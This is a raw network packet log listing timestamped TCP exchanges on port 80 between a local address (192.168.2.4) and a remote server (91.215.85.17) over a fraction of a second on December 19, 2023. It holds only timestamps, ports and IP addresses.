Dec 19, 2023 03:22:27.194381952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.194428921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194468021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.194493055 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194591999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194633961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.194675922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194760084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194797993 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.194828987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194891930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.194989920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195031881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195060015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195123911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195168018 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195214987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195252895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195303917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195395947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195437908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195470095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195528030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195569038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195609093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195702076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195782900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195827007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.195856094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.195971966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196014881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196090937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196139097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196146965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196249008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196290970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196322918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196429968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196517944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196531057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196547031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196558952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196583986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196649075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196687937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196727037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196821928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196863890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.196877003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196918964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.196962118 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197020054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197122097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197196960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197246075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197264910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197365999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197406054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197455883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197491884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197525024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197613001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197653055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197700977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197765112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197807074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.197854042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.197971106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198035002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198076010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198127985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198210001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198249102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198281050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198370934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198411942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198542118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198584080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198615074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198684931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198726892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198791027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198858976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.198899984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.198944092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199049950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199122906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199165106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.199220896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199300051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199337959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.199384928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199425936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.199471951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199588060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199630976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.199659109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199728012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199770927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.199810028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199873924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199945927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.199987888 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200045109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200117111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200159073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200223923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200262070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200352907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200407982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200454950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200563908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200634956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200678110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200710058 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200789928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200831890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.200867891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.200931072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201011896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201055050 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201113939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201183081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201225042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201257944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201297998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201334000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201423883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201463938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201497078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201570988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201611996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201658010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201735020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201807976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.201844931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.201893091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202337980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202358961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202380896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202398062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202405930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202472925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202514887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202522993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202542067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202578068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202583075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202615023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202641964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202678919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202702045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202738047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202775002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202783108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202817917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202826977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202847004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202879906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.202935934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202955961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202970028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.202994108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203001976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203042030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203044891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203077078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203166962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203186989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203202963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203206062 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203222990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203229904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203260899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203344107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203393936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203423023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203461885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203461885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203506947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203543901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203556061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203563929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203577995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203613043 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203617096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203672886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203718901 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203743935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203762054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203799009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203808069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203834057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203845024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.203896046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203908920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.203933001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204041958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204062939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204082966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204099894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204128981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204161882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204176903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204211950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204217911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204261065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204288006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204301119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204314947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204381943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204422951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204430103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204452991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204474926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204498053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204518080 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204524994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204565048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204582930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204622984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204627991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204679012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204708099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204731941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204756021 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204792976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204814911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204828024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204854965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204865932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204915047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.204936028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204948902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204989910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.204991102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205008030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205054045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205095053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205102921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205177069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205189943 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205218077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205238104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205264091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205277920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205347061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205360889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205399990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205411911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205425978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205432892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205482960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205523014 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205554008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205590963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205619097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205634117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205657005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205667973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205703020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205735922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205746889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205766916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205804110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205820084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205840111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205881119 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.205904961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205926895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205962896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.205971003 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206018925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206056118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206094027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206130028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206146955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206165075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206193924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206213951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206229925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206269979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206305027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206312895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206336975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206372976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206413031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206422091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206485033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206526041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206526041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206566095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206573963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206588984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206640959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206657887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206672907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206713915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206717014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206737995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206784010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206806898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206851006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206865072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206911087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.206947088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.206963062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207003117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207019091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207057953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207113028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207146883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207160950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207195044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207202911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207222939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207243919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207298040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207319021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207360983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207369089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207405090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207442999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207465887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207504034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207542896 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207743883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207781076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207787037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207819939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207860947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207869053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207902908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207921982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.207938910 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.207998037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208012104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208046913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.208071947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.208091974 CET	80	49738	91.215.85.17	192.168.2.4
